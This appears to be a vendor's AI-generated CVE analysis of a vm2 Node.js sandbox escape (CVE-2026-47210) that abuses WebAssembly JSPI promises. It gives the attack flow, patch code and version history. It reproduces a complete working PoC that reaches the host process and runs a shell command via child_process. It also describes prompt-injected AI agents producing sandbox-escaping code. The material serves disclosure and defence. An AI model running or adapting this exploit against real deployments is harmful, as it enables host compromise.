Automated Threat Modeling

vm2 Sandbox Escape via JSPI Promise Species Bypass (CVE-2026-47210): Technical Breakdown with PoC and Patch Analysis

CVE-2026-47210 is a critical CVSS 9.8 sandbox escape in the vm2 Node.js library. It uses WebAssembly JSPI to bypass Promise species hardening and run arbitrary code in the host process. This post covers the public PoC and the patch.

CVE Analysis

12 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-06-12

vm2 Sandbox Escape via JSPI Promise Species Bypass (CVE-2026-47210): Technical Breakdown with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A WebAssembly API that vm2 never anticipated has opened another path to full host process compromise from inside the sandbox. CVE-2026-47210, rated CVSS 9.8 critical, uses WebAssembly JavaScript Promise Integration (JSPI) on Node.js 26 to bypass vm2's Promise species hardening and run arbitrary commands on the host.

vm2 is an open source Node.js sandbox library for executing untrusted JavaScript in an isolated environment. It was officially deprecated in 2023, yet it still sees over 1.17 million weekly npm downloads and has 885 direct dependents on npm. Because it remains in production, including in AI agent frameworks and SaaS automation platforms, a vm2 vulnerability matters to the wider Node.js ecosystem.

Technical Information

Vulnerability Classification

CVE-2026-47210 is classified under CWE-913: Improper Control of Dynamically Managed Code Resources. CWE-913 applies when a product fails to restrict reading from or writing to dynamically managed code resources such as variables, objects, classes, attributes, functions, or executable statements. Here, vm2 failed to control the dynamically exposed WebAssembly JSPI API inside the sandbox, which let attacker controlled code reach host originated objects.

The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, for a base score of 9.8 (Critical):

CVSS v3.1 MetricValue
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactHigh

Root Cause: JSPI Backed Promises Bypass Bridge Interposition

The WebAssembly JavaScript Promise Integration (JSPI) API bridges synchronous WebAssembly applications with asynchronous JavaScript APIs by suspending and resuming WebAssembly execution around Promise resolution. On Node.js 26, the JSPI APIs (WebAssembly.promising and WebAssembly.Suspending) are enabled by default.

vm2's sandbox security model relies on two defensive layers for Promise objects: sandbox side overrides of .then/.catch/.finally, and bridge proxy apply trap callback wrapping. Every sandbox visible Promise was expected to fall into one of two safe categories: (a) a sandbox realm Promise with globalPromise.prototype in its chain, or (b) a bridge proxied host realm Promise.

JSPI introduced a third category that vm2 did not expect. A Promise created via WebAssembly.promising(...) has its [[Prototype]] chain pointing directly at the host realm's Promise.prototype without a bridge proxy. This violates what the patch commit calls Defense Invariant #12: "no sandbox visible object may have a host realm prototype chain without bridge interposition." Neither of vm2's two defense layers could intercept operations on this third class of Promise.

Attack Flow

The exploitation chain runs through four stages:

Stage 1: JSPI Promise Creation. The attacker compiles a minimal WebAssembly module that imports a WebAssembly.Suspending function, then wraps its export with WebAssembly.promising(). This produces a Promise object whose [[Prototype]] chain points directly to the host realm's Promise.prototype, bypassing vm2's sandbox side overrides and bridge proxy interception.

Stage 2: Promise Species Hardening Bypass. The JSPI backed Promise reaches Promise.prototype.finally() on the host prototype, which vm2's Promise species hardening did not anticipate. The .finally() method invokes the Promise's Symbol.species constructor. Because the host originated rejection object is exposed to attacker controlled species logic, the attacker can redirect construction through a custom class.

Stage 3: Host Process Access. Inside the attacker controlled species constructor, the rejection object's constructor.constructor('return process')() expression reaches the host process global, which breaks the sandbox boundary.

Stage 4: Arbitrary Code Execution. With access to process.mainModule.require('child_process'), the attacker can run arbitrary OS commands on the host, read and write files, and exfiltrate secrets.

AI Agent Attack Surface

Microsoft's May 2026 research report, "When Prompts Become Shells," shows that prompt injection in AI agent frameworks can chain with vm2 sandbox escapes to reach host level RCE. In this scenario, an LLM generates malicious JavaScript in response to a crafted prompt, and that JavaScript escapes the vm2 sandbox to run on the host. That chain raises the real world impact of CVE-2026-47210 for organizations using vm2 in AI agent, plugin, or code execution contexts.

Proof of Concept

A working public PoC is available from the official GitHub Security Advisory (GHSA-6j2x-vhqr-qr7q) and reproduced on the Endor Labs vulnerability page. The PoC targets Node.js 26 (or any runtime with JSPI enabled).

The exploit compiles a minimal WebAssembly binary inline, wraps an export with WebAssembly.promising(), defines a custom species class F whose constructor captures the rejection object and calls e.constructor.constructor('return process')() to reach the host process, then triggers the chain via Object.defineProperty on the Promise's constructor and a .finally() call:

const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` (()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{ let P=e.constructor.constructor('return process')() P.mainModule.require('child_process').execSync('touch pwned'); this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})() `));

Successful exploitation creates a file named pwned on the host filesystem via child_process.execSync('touch pwned'), which demonstrates full host process command execution from inside the vm2 sandbox.

The inline WASM bytecode defines a minimal module that imports a Suspending function and exports a run function, which is then promoted to a JSPI export via WebAssembly.promising(). The resulting promise object is the vehicle for the species bypass. When the JSPI promise rejects with a host realm TypeError, the raw host error object is passed into the attacker's reject callback, and the attacker traverses e.constructor.constructor('return process')() to obtain the host process object.

A regression test suite is also available in the vm2 repository at test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js. It includes the canonical PoC alongside variant tests that confirm the fix.

Patch Information

The patch for CVE-2026-47210 was authored by Patrik Simek and committed on May 17, 2026 (SHA 6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6). The fix shipped in vm2 version 3.11.4, published the next day.

The core of the fix lives in a single file, lib/setup-sandbox.js, and is tightly scoped. It removes the two JSPI constructors from the sandbox environment during bootstrap, which eliminates the only known way to create Promise objects with unproxied host realm prototype chains:

if (typeof WebAssembly !== 'undefined') { if (typeof WebAssembly.promising !== 'undefined') { localReflectDeleteProperty(WebAssembly, 'promising'); } if (typeof WebAssembly.Suspending !== 'undefined') { localReflectDeleteProperty(WebAssembly, 'Suspending'); } }

The exploit needs both halves of the JSPI API: WebAssembly.Suspending to create a suspending import (a JS function that the wasm module can call in a way that produces a JSPI promise), and WebAssembly.promising to promote a wasm export into a function whose return value is the special cross realm prototype Promise. Removing either constructor kills the attack chain on its own, but the patch removes both as a belt and suspenders measure.

The typeof guards keep backward compatibility. On Node.js versions before 26 (where JSPI does not exist) and on Node 24 through 25 without the --experimental-wasm-jspi flag, these properties are undefined, so the guards make the removal a silent no op. On Node 26+ where JSPI is enabled by default, localReflectDeleteProperty strips the constructors at sandbox bootstrap before any user code runs.

The patch uses localReflectDeleteProperty rather than the delete operator on purpose: it is a cached reference to the host's Reflect.deleteProperty, which avoids invoking any sandbox installed traps or prototype chain overrides on the WebAssembly object.

The commit touched four files in total (375 additions, 1 deletion): the core fix in lib/setup-sandbox.js, a changelog entry in CHANGELOG.md, attack surface documentation in docs/ATTACKS.md (Category 33, Compound Attack Pattern 25, and updates to the "How The Bridge Defends" table), and a regression test suite in test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js that verifies both constructors are deleted, confirms the canonical PoC is blocked, and checks that vanilla WebAssembly.instantiate still works (guarding against over broad removal).

Affected Systems and Versions

All versions of vm2 up to and including 3.11.3 are affected. The vulnerability is patched in version 3.11.4.

The vulnerability is specific to runtimes that expose the WebAssembly JSPI API. This is confirmed on Node.js 26, where WebAssembly.promising and WebAssembly.Suspending are enabled by default. On older Node.js versions where these APIs do not exist, the JSPI attack vector cannot be initiated.

Organizations running vm2 on any Node.js version remain vulnerable to the many other sandbox escape CVEs disclosed in 2026 that do not depend on JSPI.

Vendor Security History

vm2 has a long and well documented history of sandbox escape vulnerabilities:

PeriodCVE ExamplesKey Mechanism
2023CVE-2023-30547, CVE-2023-37466Exception sanitization bypass; project deprecated
2024Exploit DB 51898Multiple local sandbox escape exploits
Early 2026 (Jan)CVE-2026-22709Promise callback bypass (CVSS 9.8)
Mid 2026 (May)CVE-2026-24781, CVE-2026-43997 through CVE-2026-44009, CVE-2026-47210Inspect function breakout, prototype mutation, JSPI species bypass

Kodem Security documents at least 15 vm2 sandbox escape CVEs disclosed in 2026 alone: CVE-2026-22709, CVE-2026-24118, CVE-2026-24120, CVE-2026-24781, CVE-2026-26332, CVE-2026-26956, CVE-2026-43997, CVE-2026-43999, CVE-2026-44005, CVE-2026-44006, CVE-2026-44007, CVE-2026-44008, CVE-2026-44009, CVE-2026-25881, and CVE-2026-47210.

The v3.11.4 release alone closed ten security advisories. That shows the maintainer's continued responsiveness, but it also points to the persistent architectural fragility of the sandbox boundary. The project's official deprecation notice from 2023 still stands: "The library contains critical security issues and should not be used for production! The maintenance of the project has been discontinued."

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization